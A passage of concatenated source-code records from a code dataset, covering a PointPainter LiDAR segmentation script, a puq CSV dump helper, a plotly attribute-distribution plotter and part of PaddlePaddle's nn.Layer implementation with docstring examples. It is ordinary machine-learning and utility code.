'trunk': 71, 'terrain': 72, 'pole': 80,\n 'traffic-sign': 81, 'other-object': 99, 'moving-car': 252,\n 'moving-bicyclist': 253, 'moving-person': 254, 'moving-motorcyclist': 255,\n 'moving-on-rails': 256, 'moving-bus': 257, 'moving-truck': 258,\n 'moving-other-vehicle': 259\n }\n \n for k in name_label_mapping:\n name_label_mapping[k] = name_label_mapping[k.replace('moving-', '')]\n train_label_name_mapping = {\n 0: 'car', 1: 'bicycle', 2: 'motorcycle', 3: 'truck', 4:\n 'other-vehicle', 5: 'person', 6: 'bicyclist', 7: 'motorcyclist',\n 8: 'road', 9: 'parking', 10: 'sidewalk', 11: 'other-ground',\n 12: 'building', 13: 'fence', 14: 'vegetation', 15: 'trunk',\n 16: 'terrain', 17: 'pole', 18: 'traffic-sign'\n }\n\n label_map = np.zeros(260)+num_classes\n for i in range(num_classes):\n cls_name = train_label_name_mapping[i]\n label_map[name_label_mapping[cls_name]] = min(num_classes,i)\n return label_map.astype(np.int64)\n\ncmap = np.array([\n [245, 150, 100, 255],#[0,0,0] for teaser1\n [245, 230, 100, 255],\n [150, 60, 30, 255],\n [180, 30, 80, 255],\n [255, 0, 0, 255],\n [30, 30, 255, 255],#[255,0,0] for teaser1\n [200, 40, 255, 255],\n [90, 30, 150, 255],\n [255, 0, 255, 255],\n [255, 150, 255, 255],\n [75, 0, 75, 255],\n [75, 0, 175, 255],\n [0, 200, 255, 255],\n [50, 120, 255, 255],\n [0, 175, 0, 255],\n [0, 60, 135, 255],\n [80, 240, 150, 255],\n [150, 240, 255, 255],\n [0, 0, 255, 255],\n #[255, 255, 255, 0]\n])\n\n\n#cmap[:, -1] = 255\ndef create_cyclist(augmented_lidar):\n rider_idx = np.where(augmented_lidar[:,8]>=0.3)[0] # 0, 1(bike), 2, 3(person), 4(rider)\n rider_points = augmented_lidar[rider_idx]\n bike_mask_total = np.zeros(augmented_lidar.shape[0], dtype=bool)\n bike_total = (np.argmax(augmented_lidar[:,-5:],axis=1) == 1)\n for i in range(rider_idx.shape[0]):\n bike_mask = (np.linalg.norm(augmented_lidar[:,:3]-rider_points[i,:3], axis=1) < 1) & bike_total\n bike_mask_total |= bike_mask\n augmented_lidar[bike_mask_total, 8] = augmented_lidar[bike_mask_total, 5]\n augmented_lidar[bike_total^bike_mask_total, 4] = augmented_lidar[bike_total^bike_mask_total, 5]\n return augmented_lidar[:,[0,1,2,3,4,8,6,7]]\n\n\ndef draw_lidar(pc, color=None, fig=None, bgcolor=(1,1,1), pts_scale=0.06, pts_mode='2dcircle', pts_color=None):\n ''' Draw lidar points\n Args:\n pc: numpy array (n,3) of XYZ\n color: numpy array (n) of intensity or whatever\n fig: mayavi figure handler, if None create new one otherwise will use it\n Returns:\n fig: created or used fig\n '''\n if fig is None: fig = mlab.figure(figure=None, bgcolor=bgcolor, fgcolor=None, engine=None, size=(800, 500))\n if color is None: color = pc[:,2]\n pts = mlab.points3d(pc[:,0], pc[:,1], pc[:,2], color, mode=pts_mode, scale_factor=pts_scale, figure=fig)\n pts.glyph.scale_mode = 'scale_by_vector'\n pts.glyph.color_mode = 'color_by_scalar' # Color by scalar\n pts.module_manager.scalar_lut_manager.lut.table = cmap\n pts.module_manager.scalar_lut_manager.lut.number_of_colors = cmap.shape[0]\n \n mlab.view(azimuth=180, elevation=70, focalpoint=[ 12.0909996 , -1.04700089, -2.03249991], distance=62, figure=fig)\n \n return fig\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--velodyne-dir', type=str, default='/home/lethe5lambda/Documents/PointPainter/LidarDetector/data/kitti/training/velodyne/')\n parser.add_argument('--model', type=str, default='SemanticKITTI_val_SPVCNN@119GMACs')\n args = parser.parse_args()\n output_dir = \"/home/lethe5lambda/Documents/PointPainter/LidarDetector/data/kitti/training/painted_lidar_e3d/\"\n os.makedirs(output_dir, exist_ok=True)\n \n if torch.cuda.is_available():\n device = 'cuda:0'\n else:\n device = 'cpu'\n \n if 'MinkUNet' in args.model:\n model = minkunet(args.model, pretrained=True)\n elif 'SPVCNN' in args.model:\n model = spvcnn(args.model, pretrained=True)\n elif 'SPVNAS' in args.model:\n model = spvnas_specialized(args.model, pretrained=True)\n else:\n raise NotImplementedError\n \n model = model.to(device)\n \n input_point_clouds = sorted(os.listdir(args.velodyne_dir))\n for point_cloud_name in input_point_clouds:\n if not point_cloud_name.endswith('.bin'):\n continue\n label_file_name = point_cloud_name.replace('.bin', '.label')\n vis_file_name = point_cloud_name.replace('.bin', '.png')\n gt_file_name = point_cloud_name.replace('.bin', '_GT.png')\n save_file_name = point_cloud_name.replace('.bin', '.npy')\n \n pc = np.fromfile('%s/%s'%(args.velodyne_dir, point_cloud_name), dtype=np.float32).reshape(-1,4)\n if os.path.exists(label_file_name):\n label = np.fromfile('%s/%s'%(args.velodyne_dir, label_file_name), dtype=np.int32)\n else:\n label = None\n feed_dict = process_point_cloud(pc, label)\n inputs = feed_dict['lidar'].to(device)\n outputs = model(inputs)\n predictions = cmap[outputs.argmax(1).cpu().numpy()]/255.0\n predictions = predictions[feed_dict['inverse_map']]\n # predictions = np.concatenate((predictions,predictions,predictions),axis=1)\n print(save_file_name)\n output_permute = outputs[feed_dict['inverse_map']]\n # train_label_name_mapping = {\n # 0: 'car', 1: 'bicycle', 2: 'motorcycle', 3: 'truck', 4:\n # 'other-vehicle', 5: 'person', 6: 'bicyclist', 7: 'motorcyclist',\n # 8: 'road', 9: 'parking', 10: 'sidewalk', 11: 'other-ground',\n # 12: 'building', 13: 'fence', 14: 'vegetation', 15: 'trunk',\n # 16: 'terrain', 17: 'pole', 18: 'traffic-sign'\n # }\n sf = torch.nn.Softmax(dim=1)\n\n output_reassign = torch.zeros(output_permute.size(0), 5)\n output_reassign[:,0], _ = torch.max(output_permute[:,8:], dim=1) # background\n output_reassign[:,1], _ = torch.max(output_permute[:,[1, 2]], dim=1) # bicycle\n output_reassign[:,2], _ = torch.max(output_permute[:,[0, 3, 4]], dim=1) # car\n output_reassign[:,3] = output_permute[:,5] #person\n output_reassign[:,4], _ = torch.max(output_permute[:,[6, 7]], dim=1) #rider\n output_reassign_softmax = sf(output_reassign)\n points = (torch.cat((torch.tensor(feed_dict['pc']), output_reassign_softmax), dim=1)).detach().numpy()\n\n \n \n points = create_cyclist(points)\n\n # open3d\n point_cloud = PointCloud()\n np_points = np.array(points[:,:3]) #xyz\n np_color = np.array(points[:,5:8])\n point_cloud.points = Vector3dVector(np_points)\n point_cloud.colors = Vector3dVector(np_color)\n draw_geometries([point_cloud])\n\n np.save(output_dir + save_file_name, points)\n","repo_name":"undefinedzero/PointPainter","sub_path":"MaskGenerator/spvnas_segment.py","file_name":"spvnas_segment.py","file_ext":"py","file_size_in_byte":9460,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"29"} +{"seq_id":"28655653273","text":"from __future__ import absolute_import, division, print_function\n\nimport numpy as np\nimport csv\nimport os.path\n\n\ndef dump(h5, fname):\n \"\"\"\n Dumps all parameters and output value[s] to a single csv file.\n There is a two line header on the file.\n Example:\n\n v,m,energy,kinetic_energy\n ----------------------------------------\n 5.0,5.0,60.0,62.5\n 2.1218382609,5.0,28.3402208699,11.2554940135\n 7.8781617391,5.0,91.6597791301,155.163580969\n 5.0,2.1218382609,28.3402208699,26.5229782613\n ...\n \"\"\"\n pnames = h5['/input/param_array'].attrs['name']\n data = h5['/input/param_array'].value\n outvars = h5['/output/data'].keys()\n for var in outvars:\n d = h5['/output/data/%s' % var].value\n if len(d.shape) != 1:\n print(\"ERROR: Cannot dump multidimensional data to CSV file.\")\n print(\"Output data '%s' has dimensions %s\" % (var, d.shape))\n return\n data = np.column_stack((data, d))\n fname = os.path.splitext(fname)[0] + '.csv'\n print('Dumping CSV data to %s' % fname)\n w = csv.writer(open(fname, 'wb'))\n w.writerow([p for p in pnames] + outvars)\n w.writerow([40*'-'])\n w.writerows(data)\n","repo_name":"c-PRIMED/puq","sub_path":"puq/dump.py","file_name":"dump.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"29"} +{"seq_id":"4586302688","text":"import plotly\nimport plotly.express as px\nimport plotly.graph_objects as go\n\n\ndef plot_attribute_distribution(df_cards, attributes, subplots=False):\n\n colors = px.colors.qualitative.Set1\n\n if subplots:\n nb_rows, nb_cols = 2, 3\n fig = plotly.subplots.make_subplots(rows=nb_rows, cols=nb_cols,\n subplot_titles=df_cards.columns[:6],\n y_title='# Cards')\n row = 1\n for i, att in enumerate(attributes):\n if i == nb_cols:\n row = 2\n bars = df_cards.iloc[:, i].value_counts(normalize=False)\n fig.append_trace(\n go.Bar(x=bars.index, y=bars.values, name=df_cards.columns[i], marker_color=colors[i]),\n row=row, col=(i%nb_cols)+1\n )\n\n else: \n data = []\n for i, att in enumerate(attributes):\n bars = df_cards[att].value_counts()\n data.append(go.Bar(x=bars.index, y=bars.values,\n name=att,\n marker_color=colors[i])\n )\n\n fig = go.Figure(data=data)\n fig.update_layout(barmode='group')\n\n fig.update_layout(title_text=f'Attribute distributions of {len(df_cards)} cards', \n template='plotly_dark')\n fig.show()","repo_name":"MattW0/NFT-game","sub_path":"utils/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"36020999771","text":"import collections\nimport copy\nimport inspect\nimport re\nimport warnings\nimport weakref\n\nimport numpy as np\n\nimport paddle\nfrom paddle import nn, profiler\nfrom paddle.base import core, framework, unique_name\nfrom paddle.base.core import VarDesc\nfrom paddle.base.dygraph import no_grad\nfrom paddle.base.dygraph.base import in_declarative_mode # noqa: F401\nfrom paddle.base.dygraph.base import (\n _convert_into_variable,\n in_to_static_mode,\n program_desc_tracing_guard,\n)\nfrom paddle.base.dygraph_utils import _append_activation_in_dygraph\nfrom paddle.base.executor import Executor, global_scope\nfrom paddle.base.framework import Parameter, Program\nfrom paddle.base.framework import _current_expected_place as _get_device\nfrom paddle.base.framework import (\n _global_flags,\n convert_np_dtype_to_dtype_,\n default_main_program,\n in_dygraph_mode,\n)\nfrom paddle.base.layer_helper_base import LayerHelperBase\nfrom paddle.base.param_attr import ParamAttr\nfrom paddle.profiler.utils import in_profiler_mode\nfrom paddle.utils import deprecated\n\n__all__ = []\n\n_first_cap_re = re.compile('(.)([A-Z][a-z]+)')\n_all_cap_re = re.compile('([a-z])([A-Z])')\n\n\ndef record_program_ops_pre_hook(layer, inputs):\n \"\"\"\n A pre-hook to mark op numbers before enter layer.forward.\n \"\"\"\n if not in_dygraph_mode():\n if layer._op_recorder.start < 0:\n layer._op_recorder.start = len(\n default_main_program().current_block().ops\n )\n layer._op_recorder.is_valid = True\n else:\n layer._op_recorder.is_valid = False\n warnings.warn(\n \"{} has recorded the op information before. Please check whether you call this layer twice.\".format(\n layer._full_name\n )\n )\n\n\ndef set_op_customized_attrs_post_hook(layer, inputs, outputs):\n \"\"\"\n A post-hook to append customized attributes into all operators generated in current layer.\n \"\"\"\n if not in_dygraph_mode() and layer._op_recorder.is_valid:\n start = layer._op_recorder.start\n end = len(default_main_program().current_block().ops)\n assert start >= 0 and end >= start\n ops = default_main_program().current_block().ops[start:end]\n\n layer._op_recorder.end = end\n layer._op_recorder.ops = ops\n\n for op in ops:\n for attr_name, val in layer._customized_attrs.items():\n op._set_attr(attr_name, val)\n\n # remove pre-hook and post-hook\n for hook_helper in layer._op_recorder.hooks:\n hook_helper.remove()\n\n\ndef _scope_dist2single(dist_scope):\n mapping = {\n \"row_parallel_linear\": \"linear\",\n \"column_parallel_linear\": \"linear\",\n \"vocab_parallel_embedding\": \"embedding\",\n # \"parallel_cross_entropy\": \"cross_entropy\", while mp_layer has parallel_cross_entropy,\n # but there is no parameters so the mapping of parallel_cross_entropy is not necessary.\n }\n return mapping.get(dist_scope, dist_scope)\n\n\ndef _convert_camel_to_snake(name):\n s1 = _first_cap_re.sub(r'\\1_\\2', name)\n return _all_cap_re.sub(r'\\1_\\2', s1).lower()\n\n\ndef _addindent(string, indent):\n s1 = string.split('\\n')\n if len(s1) == 1:\n return string\n s2 = []\n for idx, line in enumerate(s1):\n if idx > 0:\n s2.append(str((indent * ' ') + line))\n return s1[0] + '\\n' + '\\n'.join(s2)\n\n\ndef _layer_trans_dtype(layer, dtype, excluded_layers):\n if type(layer) in excluded_layers:\n return\n\n layer._to_impl(dtype=dtype, floating_only=True, include_sublayers=False)\n\n\nclass LayerObjectHelper(LayerHelperBase):\n def __init__(self, name):\n super().__init__(name, layer_type=name)\n\n def append_op(\n self,\n type=None,\n inputs=None,\n outputs=None,\n attrs=None,\n stop_gradient=None,\n ):\n \"\"\"append an operator for this layer object.\n\n Args:\n type: operator type\n inputs: input variable of the operator\n dtype: data type of this parameter\n is_bias: if this is a bias parameter\n default_initializer: set the default initializer for this parameter\n\n Returns created parameter Variable.\n \"\"\"\n return self.main_program.current_block().append_op(\n type=type,\n inputs=inputs,\n outputs=outputs,\n attrs=attrs,\n stop_gradient=stop_gradient,\n )\n\n def _multiple_input(self, inputs_in):\n inputs = inputs_in\n ret = []\n if isinstance(inputs, (list, tuple)):\n for inp in inputs:\n ret.append(self.to_variable(inp))\n else:\n ret.append(self.to_variable(inputs))\n return ret\n\n # TODO: make it public when we need it\n def _input(self, inputs_in):\n inputs = self._multiple_input(inputs_in)\n if len(inputs) != 1:\n raise f\"{self.layer_type} layer only takes one input in\"\n return inputs[0]\n\n def _multiple_param_attr(self, length, param_attr_in=None):\n param_attr = param_attr_in\n if isinstance(param_attr, ParamAttr):\n param_attr = [param_attr]\n\n if len(param_attr) != 1 and len(param_attr) != length:\n raise ValueError(f\"parameter number mismatch in {self.name}\")\n elif len(param_attr) == 1 and length != 1:\n tmp = [None] * length\n for i in range(length):\n tmp[i] = copy.deepcopy(param_attr[0])\n param_attr = tmp\n return param_attr\n\n def iter_inputs_and_params(self, inputs_in, param_attr_in=None):\n \"\"\"Access all inputs and params one by one\n\n Args:\n inputs_in: inputs to be iter\n param_attr_in: param_attr to be iter\n\n Returns input, param_attr\n \"\"\"\n param_attr_in = ParamAttr._to_attr(param_attr_in)\n if isinstance(param_attr_in, bool):\n raise ValueError(f'Param_attr should not be False in {self.name}')\n inputs = inputs_in if (inputs_in is not None) else []\n inputs = self._multiple_input(inputs)\n param_attrs = self._multiple_param_attr(len(inputs), param_attr_in)\n yield from zip(inputs, param_attrs)\n\n def input_dtype(self, inputs_in):\n \"\"\"Get input data type\n\n Args:\n inputs_in: inputs wanted know the data type\n\n Returns dtype of the input\n \"\"\"\n inputs_in = inputs_in if (inputs_in is not None) else []\n inputs = self._multiple_input(inputs_in)\n dtype = None\n for each in inputs:\n if dtype is None:\n dtype = each.dtype\n elif dtype != each.dtype:\n raise ValueError(\n \"Data Type mismatch: %d to %d in %s\"\n % (dtype, each.dtype, self.name)\n )\n return dtype\n\n def get_parameter(self, name):\n \"\"\"Get parameter specifically\n\n Args:\n name: parameter's name\n\n Returns target parameter\n \"\"\"\n param = self.main_program.global_block().var(name)\n if not isinstance(param, Parameter):\n raise ValueError(f\"no Parameter name {name} found in {self.name}\")\n return param\n\n # TODO: this should not be called anymore after all activation func move to Layers\n def append_activation(self, input_var, act=None, use_cudnn=None):\n \"\"\"Append activation\n\n Args:\n input_var: the input variable. The len(input_var.shape) is\n larger or equal than 2.\n act: activation type\n use_cudnn: if use cudnn\n\n Return the Variable of after append activation\n \"\"\"\n act = act\n if act is None:\n return input_var\n if isinstance(act, str):\n act = {'type': act}\n else:\n raise TypeError(\n str(act) + \" should be unicode or str in %s \", self.name\n )\n\n if (use_cudnn is not None) and use_cudnn:\n act['use_cudnn'] = use_cudnn\n use_mkldnn = _global_flags()[\"FLAGS_use_mkldnn\"]\n if (use_mkldnn is not None) and use_mkldnn:\n act['use_mkldnn'] = use_mkldnn\n act_type = act.pop('type')\n if in_dygraph_mode():\n res = _append_activation_in_dygraph(\n input_var, act_type, use_cudnn, use_mkldnn\n )\n return res\n else:\n tmp = self.create_variable_for_type_inference(dtype=input_var.dtype)\n self.append_op(\n type=act_type,\n inputs={\"X\": [input_var]},\n outputs={\"Out\": [tmp]},\n attrs=act,\n )\n return tmp\n\n def is_instance(self, param, cls):\n \"\"\"Check if the input parameter is instance of input class\n\n Args:\n param: parameter to be check\n cls: class of the parameter\n\n Return result of the check (True or False)\n \"\"\"\n param = param\n if not isinstance(param, cls):\n raise TypeError(\n \"The input {0} parameter of method {1} must be {2}, in layer {3}\",\n param,\n self.layer_type,\n cls.__name__,\n self.name,\n )\n\n\nclass LayerOpsRecoder:\n \"\"\"\n Record generated operators information in nn.Layer.\n \"\"\"\n\n def __init__(self, start=-1, end=-1, ops=None, is_valid=False, hooks=None):\n self.start = start\n self.end = end\n self.ops = ops\n self.is_valid = is_valid\n self.hooks = hooks\n\n\nclass HookRemoveHelper:\n \"\"\"A HookRemoveHelper that can be used to remove hook.\"\"\"\n\n next_hook_id = 0\n\n def __init__(self, hooks):\n self._hooks_ref = weakref.ref(hooks)\n self._hook_id = HookRemoveHelper.next_hook_id\n HookRemoveHelper.next_hook_id += 1\n\n def remove(self):\n hooks = self._hooks_ref()\n if hooks is not None and self._hook_id in hooks:\n del hooks[self._hook_id]\n\n\nclass Layer:\n \"\"\"\n Dynamic graph Layer based on OOD, includes the parameters of the layer, the structure of the forward graph and so on.\n\n Parameters:\n name_scope (str, optional): prefix name used by the layer to name parameters.\n If prefix is \"my_layer\", parameter name in MyLayer\n can be \"my_layer_0.w_n\", where \"w\" is the parameter\n base name and \"n\" is an unique suffix auto-generated.\n If None, prefix name will be snake cased class name. Default: None.\n dtype(str, optional): data type of this parameter.\n If set str, it can be \"bool\", \"float16\", \"float32\", \"float64\",\n \"int8\", \"int16\", \"int32\", \"int64\", \"uint8\" or \"uint16\".\n Default: \"float32\"\n\n Returns:\n None\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(100)\n\n >>> class MyLayer(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self._linear = paddle.nn.Linear(1, 1)\n ... self._dropout = paddle.nn.Dropout(p=0.5)\n ...\n ... def forward(self, input):\n ... temp = self._linear(input)\n ... temp = self._dropout(temp)\n ... return temp\n ...\n >>> x = paddle.randn([10, 1], 'float32')\n >>> mylayer = MyLayer()\n >>> mylayer.eval() # set mylayer._dropout to eval mode\n >>> out = mylayer(x)\n >>> mylayer.train() # set mylayer._dropout to train mode\n >>> out = mylayer(x)\n >>> print(out)\n Tensor(shape=[10, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[-3.44879317],\n [ 0. ],\n [ 0. ],\n [-0.73825276],\n [ 0. ],\n [ 0. ],\n [ 0.64444798],\n [-3.22185946],\n [ 0. ],\n [-0.68077987]])\n \"\"\"\n\n def __init__(self, name_scope=None, dtype=\"float32\"):\n self.training = True\n if name_scope is None:\n name_scope = _convert_camel_to_snake(self.__class__.__name__)\n name_scope = _scope_dist2single(name_scope)\n self._full_name = unique_name.generate(name_scope)\n self._helper = LayerObjectHelper(self._full_name)\n self._built = False\n self._dtype = dtype\n self._init_in_dynamic_mode = in_dygraph_mode()\n\n self._parameters = collections.OrderedDict()\n # Buffers the variable (not parameter) created in layer\n self._buffers = collections.OrderedDict()\n self._non_persistable_buffer_names_set = set()\n self._sub_layers = collections.OrderedDict()\n self._loaddict_holder = collections.OrderedDict()\n\n # Record generated op_descs in this layer\n self._op_recorder = LayerOpsRecoder(ops=[], hooks=[])\n self._customized_attrs = {}\n\n self._forward_pre_hooks = collections.OrderedDict()\n self._forward_post_hooks = collections.OrderedDict()\n\n # only used in AMP Training\n self._cast_to_low_precison = True\n\n self._state_dict_hooks = collections.OrderedDict()\n # Records orignal functions after @to_static to support to rollback\n self._original_funcs = collections.OrderedDict()\n\n def train(self):\n \"\"\"\n\n Sets this Layer and all its sublayers to training mode.\n This only effects certain modules like `Dropout` and `BatchNorm`.\n\n Returns:\n None\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(100)\n\n >>> class MyLayer(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self._linear = paddle.nn.Linear(1, 1)\n ... self._dropout = paddle.nn.Dropout(p=0.5)\n ...\n ... def forward(self, input):\n ... temp = self._linear(input)\n ... temp = self._dropout(temp)\n ... return temp\n ...\n >>> x = paddle.randn([10, 1], 'float32')\n >>> mylayer = MyLayer()\n >>> mylayer.eval() # set mylayer._dropout to eval mode\n >>> out = mylayer(x)\n >>> mylayer.train() # set mylayer._dropout to train mode\n >>> out = mylayer(x)\n >>> print(out)\n Tensor(shape=[10, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[-3.44879317],\n [ 0. ],\n [ 0. ],\n [-0.73825276],\n [ 0. ],\n [ 0. ],\n [ 0.64444798],\n [-3.22185946],\n [ 0. ],\n [-0.68077987]])\n\n \"\"\"\n # global setting in dygraph\n # NOTE(chenweihang): nn.Layer also can be used in static mode,\n # but _dygraph_tracer() can not be called in static mode\n if in_dygraph_mode():\n framework._dygraph_tracer().train_mode()\n # Layer-level setting\n self.training = True\n for layer in self.sublayers():\n layer.training = True\n\n def eval(self):\n \"\"\"\n Sets this Layer and all its sublayers to evaluation mode.\n This only effects certain modules like `Dropout` and `BatchNorm`.\n\n Returns:\n None\n\n Example::\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(100)\n >>> class MyLayer(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self._linear = paddle.nn.Linear(1, 1)\n ... self._dropout = paddle.nn.Dropout(p=0.5)\n ...\n ... def forward(self, input):\n ... temp = self._linear(input)\n ... temp = self._dropout(temp)\n ... return temp\n ...\n >>> x = paddle.randn([10, 1], 'float32')\n >>> mylayer = MyLayer()\n >>> mylayer.eval() # set mylayer._dropout to eval mode\n >>> out = mylayer(x)\n >>> print(out)\n Tensor(shape=[10, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[-1.72439659],\n [ 0.31532824],\n [ 0.01192369],\n [-0.36912638],\n [-1.63426113],\n [-0.93169814],\n [ 0.32222399],\n [-1.61092973],\n [ 0.77209264],\n [-0.34038994]])\n\n \"\"\"\n # global setting in dygraph\n # NOTE(chenweihang): nn.Layer also can be used in static mode,\n # but _dygraph_tracer() can not be called in static mode\n if in_dygraph_mode():\n framework._dygraph_tracer().eval_mode()\n # Layer-level setting\n self.training = False\n for layer in self.sublayers():\n layer.training = False\n\n def apply(self, fn):\n \"\"\"\n\n Applies ``fn`` recursively to every sublayer (as returned by ``.sublayers()``)\n as well as self. Typical use includes initializing the parameters of a model.\n\n Parameters:\n fn (function): a function to be applied to each sublayer\n\n Returns:\n Layer, self\n\n Example::\n .. code-block:: python\n\n >>> import paddle\n >>> import paddle.nn as nn\n >>> paddle.seed(2023)\n\n >>> net = nn.Sequential(nn.Linear(2, 2), nn.Linear(2, 2))\n\n >>> def init_weights(layer):\n ... if type(layer) == nn.Linear:\n ... print('before init weight:', layer.weight.numpy())\n ... new_weight = paddle.full(shape=layer.weight.shape, dtype=layer.weight.dtype, fill_value=0.9)\n ... layer.weight.set_value(new_weight)\n ... print('after init weight:', layer.weight.numpy())\n ...\n >>> net.apply(init_weights)\n\n >>> print(net.state_dict())\n before init weight: [[ 0.89611185 0.04935038]\n [-0.5888344 0.99266374]]\n after init weight: [[0.9 0.9]\n [0.9 0.9]]\n before init weight: [[-0.18615901 -0.22924072]\n [ 1.1517721 0.59859073]]\n after init weight: [[0.9 0.9]\n [0.9 0.9]]\n OrderedDict([('0.weight', Parameter containing:\n Tensor(shape=[2, 2], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[0.89999998, 0.89999998],\n [0.89999998, 0.89999998]])), ('0.bias', Parameter containing:\n Tensor(shape=[2], dtype=float32, place=Place(cpu), stop_gradient=False,\n [0., 0.])), ('1.weight', Parameter containing:\n Tensor(shape=[2, 2], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[0.89999998, 0.89999998],\n [0.89999998, 0.89999998]])), ('1.bias', Parameter containing:\n Tensor(shape=[2], dtype=float32, place=Place(cpu), stop_gradient=False,\n [0., 0.]))])\n \"\"\"\n for layer in self.children():\n layer.apply(fn)\n\n fn(self)\n\n return self\n\n def full_name(self):\n \"\"\"\n\n Full name for this layer, composed by name_scope + \"/\" + MyLayer.__class__.__name__\n\n Returns:\n str, full name of this layer.\n\n Example::\n .. code-block:: python\n\n >>> import paddle\n\n >>> class LinearNet(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__(name_scope = \"demo_linear_net\")\n ... self._linear = paddle.nn.Linear(1, 1)\n ...\n ... def forward(self, x):\n ... return self._linear(x)\n ...\n >>> linear_net = LinearNet()\n >>> print(linear_net.full_name())\n demo_linear_net_0\n\n \"\"\"\n return self._full_name\n\n def register_forward_post_hook(self, hook):\n \"\"\"\n\n Register a forward post-hook for Layer. The hook will be called after `forward` function has been computed.\n\n It should have the following form, `input` and `output` of the `hook` is `input` and `output` of the `Layer` respectively.\n User can use forward post-hook to change the output of the Layer or perform information statistics tasks on the Layer.\n\n hook(Layer, input, output) -> None or modified output\n\n Parameters:\n hook(function): a function registered as a forward post-hook\n\n Returns:\n HookRemoveHelper, a HookRemoveHelper object that can be used to remove the added hook by calling `hook_remove_helper.remove()` .\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> import numpy as np\n\n >>> # the forward_post_hook change the output of the layer: output = output * 2\n >>> def forward_post_hook(layer, input, output):\n ... # user can use layer, input and output for information statistis tasks\n ...\n ... # change the output\n ... return output * 2\n ...\n >>> linear = paddle.nn.Linear(13, 5)\n\n >>> # register the hook\n >>> forward_post_hook_handle = linear.register_forward_post_hook(forward_post_hook)\n\n >>> value1 = np.arange(26).reshape(2, 13).astype(\"float32\")\n >>> in1 = paddle.to_tensor(value1)\n\n >>> out0 = linear(in1)\n\n >>> # remove the hook\n >>> forward_post_hook_handle.remove()\n\n >>> out1 = linear(in1)\n\n >>> # hook change the linear's output to output * 2, so out0 is equal to out1 * 2.\n >>> assert (out0.numpy() == (out1.numpy()) * 2).any()\n\n \"\"\"\n hook_remove_helper = HookRemoveHelper(self._forward_post_hooks)\n self._forward_post_hooks[hook_remove_helper._hook_id] = hook\n return hook_remove_helper\n\n def register_forward_pre_hook(self, hook):\n \"\"\"\n\n Register a forward pre-hook for Layer. The hook will be called before `forward` function has been computed.\n\n It should have the following form, `input` of the `hook` is `input` of the `Layer`,\n hook can either return a tuple or a single modified value in the hook. We will wrap the value into a tuple if\n a single value is returned(unless that value is already a tuple).\n User can use forward pre-hook to change the input of the Layer or perform information statistics tasks on the Layer.\n\n hook(Layer, input) -> None or modified input\n\n Parameters:\n hook(function): a function registered as a forward pre-hook\n\n Returns:\n HookRemoveHelper, a HookRemoveHelper object that can be used to remove the added hook by calling `hook_remove_helper.remove()` .\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> import numpy as np\n\n >>> # the forward_pre_hook change the input of the layer: input = input * 2\n >>> def forward_pre_hook(layer, input):\n ... # user can use layer and input for information statistis tasks\n ...\n ... # change the input\n ... input_return = (input[0] * 2)\n ... return input_return\n ...\n >>> linear = paddle.nn.Linear(13, 5)\n\n >>> # register the hook\n >>> forward_pre_hook_handle = linear.register_forward_pre_hook(forward_pre_hook)\n\n >>> value0 = np.arange(26).reshape(2, 13).astype(\"float32\")\n >>> in0 = paddle.to_tensor(value0)\n >>> out0 = linear(in0)\n\n >>> # remove the hook\n >>> forward_pre_hook_handle.remove()\n\n >>> value1 = value0 * 2\n >>> in1 = paddle.to_tensor(value1)\n >>> out1 = linear(in1)\n\n >>> # hook change the linear's input to input * 2, so out0 is equal to out1.\n >>> assert (out0.numpy() == out1.numpy()).any()\n \"\"\"\n hook_remove_helper = HookRemoveHelper(self._forward_pre_hooks)\n self._forward_pre_hooks[hook_remove_helper._hook_id] = hook\n return hook_remove_helper\n\n def create_parameter(\n self,\n shape,\n attr=None,\n dtype=None,\n is_bias=False,\n default_initializer=None,\n ):\n \"\"\"Create parameters for this layer.\n\n Parameters:\n shape(list): Shape of the parameter.\n attr(ParamAttr, optional): Parameter attribute of weight. Please refer to :ref:`api_paddle_ParamAttr`. Default: None.\n dtype(str, optional): Data type of this parameter.\n If set str, it can be \"bool\", \"float16\", \"float32\", \"float64\",\n \"int8\", \"int16\", \"int32\", \"int64\", \"uint8\" or \"uint16\". Default: \"float32\".\n is_bias(bool, optional): if this is a bias parameter. Default: False.\n default_initializer(Initializer, optional): the default initializer for this parameter.\n If set None, default initializer will be set to paddle.nn.initializer.Xavier and paddle.nn.initializer.Constant\n for non-bias and bias parameter, respectively. Default: None.\n\n Returns:\n :Tensor, created parameter.\n\n Examples:\n .. code-block:: python\n\n >>> import paddle\n >>> paddle.seed(2023)\n\n >>> class MyLayer(paddle.nn.Layer):\n ... def __init__(self):\n ... super().__init__()\n ... self._linear = paddle.nn.Linear(1, 1)\n ... w_tmp = self.create_parameter([1,1])\n ... self.add_parameter(\"w_tmp\", w_tmp)\n ...\n ... def forward(self, input):\n ... return self._linear(input)\n ...\n >>> mylayer = MyLayer()\n >>> for name, param in mylayer.named_parameters():\n ... print(name, param) # will print w_tmp,_linear.weight,_linear.bias\n w_tmp Parameter containing:\n Tensor(shape=[1, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[0.06979191]])\n _linear.weight Parameter containing:\n Tensor(shape=[1, 1], dtype=float32, place=Place(cpu), stop_gradient=False,\n [[1.26729357]])\n _linear.bias Parameter containing:\n Tensor(shape=[1], dtype=float32, place=Place(cpu), stop_gradient=False,\n 